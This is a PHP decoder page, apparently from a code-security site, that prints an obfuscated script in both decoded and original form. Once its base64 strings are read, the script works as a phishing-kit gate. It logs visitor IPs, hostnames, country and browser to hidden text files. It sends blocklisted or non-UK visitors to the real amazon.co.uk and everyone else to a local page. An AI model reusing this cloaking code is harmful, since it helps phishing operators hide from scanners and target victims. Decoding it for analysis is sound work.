Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php error_reporting(0);$ba1=explode(base64_decode('Lg=='),PHP_VERSION);if($ba1[0]==base6..
Decoded Output download
<?php error_reporting(0);$ba1=explode(base64_decode('Lg=='),PHP_VERSION);if($ba1[0]==base64_decode('NQ==')){require(base64_decode('Y2xhc3MvYnJvd3NlcjUucGhw'));require(base64_decode('Y2xhc3Mvb3M1LnBocA=='));$rp2=$_SERVER[base64_decode('SFRUUF9VU0VSX0FHRU5U')];$vk3=ab4();$xk5=new rd6();$tf7=$xk5->sk8();$wd9=$xk5->wz10();}require(base64_decode('Li9HZW9JUC9HZW9JUC5pbmM='));function mz0($lc11){$is12='';$un13=array_merge(range(0,9),range(base64_decode('YQ=='),base64_decode('Zg==')));for($xx14=0;$xx14<$lc11;$xx14++){$is12.=$un13[array_rand($un13)];}return $is12;}if(getenv(HTTP_CLIENT_IP)){$za15=getenv(HTTP_CLIENT_IP);}else{$za15=getenv(REMOTE_ADDR);}$ll16=gethostbyaddr($za15);$th17=cc18(base64_decode('Li9HZW9JUC9HZW9JUC5kYXQ='),GEOIP_STANDARD);$yw19=am20($th17,$za15);zs21($th17);$nk22=date(base64_decode('RCBNIGQsIFkgZzppIGE='));$pp23=fopen(base64_decode('Li4vLi4vLmFtei1iLnR4dA=='),base64_decode('cg=='));$nx24=fread($pp23,filesize($pp23));fclose($pp23);$ei25=$za15;$tq26=preg_match_all("/($ei25)/",$nx24,$aa27);if($tq26!=base64_decode('MA==') ||$yw19!=base64_decode('R0I=')){if($ba1[0]==base64_decode('NQ==')){$hr28=fopen(base64_decode('Li4vLi4vLmFtei1kLnR4dA=='),base64_decode('YQ=='));fputs($hr28,"$za15 | $ll16 | $yw19 | $tf7 $wd9 | $vk3
");fclose($hr28);}header(base64_decode('TG9jYXRpb246IGh0dHA6Ly93d3cuYW1hem9uLmNvLnVrLw=='));}else{if($ba1[0]==base64_decode('NQ==')){$hr28=fopen(base64_decode('Li4vLi4vLmFtei1kLnR4dA=='),base64_decode('YQ=='));fputs($hr28,"$za15 | $ll16 | $yw19 | $tf7 $wd9 | $vk3
");fclose($hr28);}$kk29=mz0(128);header(base64_decode('TG9jYXRpb246IC4vbWFpbi5odG1sP3I9').$kk29.'');}?>
Did this file decode correctly?
Original Code
<?php error_reporting(0);$ba1=explode(base64_decode('Lg=='),PHP_VERSION);if($ba1[0]==base64_decode('NQ==')){require(base64_decode('Y2xhc3MvYnJvd3NlcjUucGhw'));require(base64_decode('Y2xhc3Mvb3M1LnBocA=='));$rp2=$_SERVER[base64_decode('SFRUUF9VU0VSX0FHRU5U')];$vk3=ab4();$xk5=new rd6();$tf7=$xk5->sk8();$wd9=$xk5->wz10();}require(base64_decode('Li9HZW9JUC9HZW9JUC5pbmM='));function mz0($lc11){$is12='';$un13=array_merge(range(0,9),range(base64_decode('YQ=='),base64_decode('Zg==')));for($xx14=0;$xx14<$lc11;$xx14++){$is12.=$un13[array_rand($un13)];}return $is12;}if(getenv(HTTP_CLIENT_IP)){$za15=getenv(HTTP_CLIENT_IP);}else{$za15=getenv(REMOTE_ADDR);}$ll16=gethostbyaddr($za15);$th17=cc18(base64_decode('Li9HZW9JUC9HZW9JUC5kYXQ='),GEOIP_STANDARD);$yw19=am20($th17,$za15);zs21($th17);$nk22=date(base64_decode('RCBNIGQsIFkgZzppIGE='));$pp23=fopen(base64_decode('Li4vLi4vLmFtei1iLnR4dA=='),base64_decode('cg=='));$nx24=fread($pp23,filesize($pp23));fclose($pp23);$ei25=$za15;$tq26=preg_match_all("/($ei25)/",$nx24,$aa27);if($tq26!=base64_decode('MA==') ||$yw19!=base64_decode('R0I=')){if($ba1[0]==base64_decode('NQ==')){$hr28=fopen(base64_decode('Li4vLi4vLmFtei1kLnR4dA=='),base64_decode('YQ=='));fputs($hr28,"$za15 | $ll16 | $yw19 | $tf7 $wd9 | $vk3\n");fclose($hr28);}header(base64_decode('TG9jYXRpb246IGh0dHA6Ly93d3cuYW1hem9uLmNvLnVrLw=='));}else{if($ba1[0]==base64_decode('NQ==')){$hr28=fopen(base64_decode('Li4vLi4vLmFtei1kLnR4dA=='),base64_decode('YQ=='));fputs($hr28,"$za15 | $ll16 | $yw19 | $tf7 $wd9 | $vk3\n");fclose($hr28);}$kk29=mz0(128);header(base64_decode('TG9jYXRpb246IC4vbWFpbi5odG1sP3I9').$kk29.'');}?>
Function Calls
base64_decode | 1 |
error_reporting | 1 |
Stats
MD5 | d4862d086a0d600c18338bd3e8d56a1c |
Eval Count | 0 |
Decode Time | 90 ms |